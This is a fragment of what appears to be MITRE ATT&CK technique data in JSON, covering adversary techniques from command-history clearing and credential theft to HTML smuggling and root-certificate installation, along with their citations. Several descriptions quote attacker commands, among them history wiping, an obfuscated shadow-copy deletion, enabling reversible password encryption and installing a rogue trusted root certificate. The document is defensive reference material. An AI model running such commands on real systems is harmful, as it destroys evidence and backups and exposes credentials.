            "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)",
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            "id": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33",
            "created": "2022-07-29T19:32:11.552Z",
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                    "url": "https://attack.mitre.org/techniques/T1070/009",
                    "external_id": "T1070.009"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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                {
                    "source_name": "Talos - Cisco Attack 2022",
                    "description": "Nick Biasini. (2022, August 10). Cisco Talos shares insights related to recent cyber attack on Cisco. Retrieved March 9, 2023.",
                    "url": "https://blog.talosintelligence.com/recent-cyber-attack/"
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                {
                    "source_name": "NCC Group Team9 June 2020",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"
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            "description": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)",
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            "created": "2025-03-26T20:01:13.412Z",
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                    "url": "https://attack.mitre.org/techniques/T1059/012",
                    "external_id": "T1059.012"
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                {
                    "source_name": "Broadcom ESXCLI Reference",
                    "description": "Broadcom. (n.d.). ESXCLI Reference. Retrieved March 27, 2025.",
                    "url": "https://developer.broadcom.com/xapis/esxcli-command-reference/latest/"
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                    "source_name": "LOLESXi",
                    "description": "Janantha Marasinghe. (n.d.). Living Off The Land ESXi. Retrieved April 14, 2025.",
                    "url": "https://lolesxi-project.github.io/LOLESXi/"
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                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
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            "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.",
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                {
                    "source_name": "Malwarebytes The Windows Vault",
                    "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
                    "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
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                {
                    "source_name": "Delpy Mimikatz Crendential Manager",
                    "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"
                },
                {
                    "source_name": "Microsoft Credential Locker",
                    "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft Credential Manager store",
                    "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"
                },
                {
                    "source_name": "Microsoft CredEnumerate",
                    "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"
                },
                {
                    "source_name": "passcape Windows Vault",
                    "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.",
                    "url": "https://www.passcape.com/windows_password_recovery_vault_explorer"
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            "name": "Windows Credential Manager",
            "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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                    "url": "https://attack.mitre.org/techniques/T1036/010",
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                {
                    "source_name": "Elastic CUBA Ransomware 2022",
                    "description": "Daniel Stepanic, Derek Ditch, Seth Goodwin, Salim Bitam, Andrew Pease. (2022, September 7). CUBA Ransomware Campaign Analysis. Retrieved August 5, 2024.",
                    "url": "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis"
                },
                {
                    "source_name": "Invictus IR Cloud Ransomware 2024",
                    "description": "Invictus IR. (2024, January 11). Ransomware in the cloud. Retrieved August 5, 2024.",
                    "url": "https://www.invictus-ir.com/news/ransomware-in-the-cloud"
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                {
                    "source_name": "Huntress MOVEit 2023",
                    "description": "John Hammond. (2023, June 1). MOVEit Transfer Critical Vulnerability CVE-2023-34362 Rapid Response. Retrieved August 5, 2024.",
                    "url": "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
                },
                {
                    "source_name": "Aquasec Kubernetes Attack 2023",
                    "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.",
                    "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"
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            "description": "Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic, trustworthy names, such as \u201cadmin\u201d, \u201chelp\u201d, or \u201croot.\u201d(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to [Account Discovery](https://attack.mitre.org/techniques/T1087).  \n\nNote that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1684/001), which describes impersonating specific trusted individuals or organizations, rather than user or service account names.  ",
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            "created": "2019-09-19T14:07:11.734Z",
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                    "url": "https://attack.mitre.org/techniques/T1519",
                    "external_id": "T1519"
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                {
                    "source_name": "xorrior emond Jan 2018",
                    "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
                    "url": "https://www.xorrior.com/emond-persistence/"
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                {
                    "source_name": "magnusviri emond Apr 2016",
                    "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
                    "url": "http://www.magnusviri.com/Mac/what-is-emond.html"
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                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
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            "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.",
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                    "source_name": "Aleks Weapons Nov 2015",
                    "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.",
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                    "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.",
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                {
                    "source_name": "CrowdStrike 2015 Global Threat Report",
                    "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
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                    "source_name": "CrySyS Blog TeamSpy",
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                    "description": "Google. (n.d.). Retrieved March 14, 2024.",
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                    "description": "Huntress. (n.d.). Retrieved March 14, 2024.",
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                    "source_name": "Symantec Living off the Land",
                    "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
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                    "source_name": "DOJ  - Cisco Insider",
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                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
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                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
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                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
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                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
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                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
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                    "source_name": "Data Destruction - Threat Post",
                    "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.",
                    "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"
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            "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.",
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                    "source_name": "Wikipedia Binary-to-text Encoding",
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                    "source_name": "Wikipedia Character Encoding",
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                    "source_name": "Dell Skeleton",
                    "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
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                    "source_name": "AWS EBS Snapshot Sharing",
                    "description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html"
                },
                {
                    "source_name": "TLDRSec AWS Attacks",
                    "description": "Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.",
                    "url": "https://tldrsec.com/p/blog-lesser-known-aws-attacks"
                },
                {
                    "source_name": "Azure Shared Access Signature",
                    "description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature"
                },
                {
                    "source_name": "Azure Blob Snapshots",
                    "description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview"
                },
                {
                    "source_name": "Microsoft Azure Storage Shared Access Signature",
                    "description": "Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
                    "url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf"
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            "name": "Transfer Data to Cloud Account",
            "description": "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ",
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            "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb",
            "created": "2021-05-20T12:20:42.219Z",
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                    "source_name": "Outlflank HTML Smuggling 2018",
                    "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.",
                    "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/"
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                {
                    "source_name": "MSTIC NOBELIUM May 2021",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
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                    "source_name": "HTML Smuggling Menlo Security 2020",
                    "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.",
                    "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri"
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                {
                    "source_name": "nccgroup Smuggling HTA 2017",
                    "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.",
                    "url": "https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/"
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            "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",
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                    "source_name": "dump_pwd_dcsync",
                    "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
                    "url": "https://adsecurity.org/?p=2053"
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                {
                    "source_name": "store_pwd_rev_enc",
                    "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"
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                    "source_name": "how_pwd_rev_enc_1",
                    "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.",
                    "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"
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                    "source_name": "how_pwd_rev_enc_2",
                    "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.",
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            "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.",
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                    "external_id": "T1027.010"
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                {
                    "source_name": "Twitter Richard WMIC",
                    "description": "Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.",
                    "url": "https://x.com/rfackroyd/status/1639136000755765254"
                },
                {
                    "source_name": "Invoke-Obfuscation",
                    "description": "Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.",
                    "url": "https://github.com/danielbohannon/Invoke-Obfuscation"
                },
                {
                    "source_name": "Invoke-DOSfuscation",
                    "description": "Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.",
                    "url": "https://github.com/danielbohannon/Invoke-DOSfuscation"
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                {
                    "source_name": "FireEye Obfuscation June 2017",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                },
                {
                    "source_name": "Malware Monday VBE",
                    "description": "Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.",
                    "url": "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16"
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                {
                    "source_name": "Akamai JS",
                    "description": "Katz, O. (2020, October 26). Catch Me if You Can\u2014JavaScript Obfuscation. Retrieved March 17, 2023.",
                    "url": "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation"
                },
                {
                    "source_name": "Bashfuscator Command Obfuscators",
                    "description": "LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.",
                    "url": "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html"
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                {
                    "source_name": "Microsoft PowerShellB64",
                    "description": "Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.",
                    "url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand"
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                {
                    "source_name": "RC PowerShell",
                    "description": "Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.",
                    "url": "https://redcanary.com/threat-detection-report/techniques/powershell/"
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            "name": "Command Obfuscation",
            "description": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)",
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                    "url": "https://attack.mitre.org/techniques/T1130",
                    "external_id": "T1130"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/479.html",
                    "external_id": "CAPEC-479"
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                    "source_name": "Wikipedia Root Certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
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                },
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                    "source_name": "Operation Emmental",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
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                    "source_name": "Kaspersky Superfish",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
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                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
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                {
                    "source_name": "objective-see ay mami 2018",
                    "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
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                    "source_name": "Microsoft Sigcheck May 2017",
                    "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
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                    "source_name": "Tripwire AppUNBlocker",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
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            "name": "Install Root Certificate",
            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",
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                    "source_name": "Zhang 2013",
                    "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.",
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                    "source_name": "Wikipedia File Header Signatures",
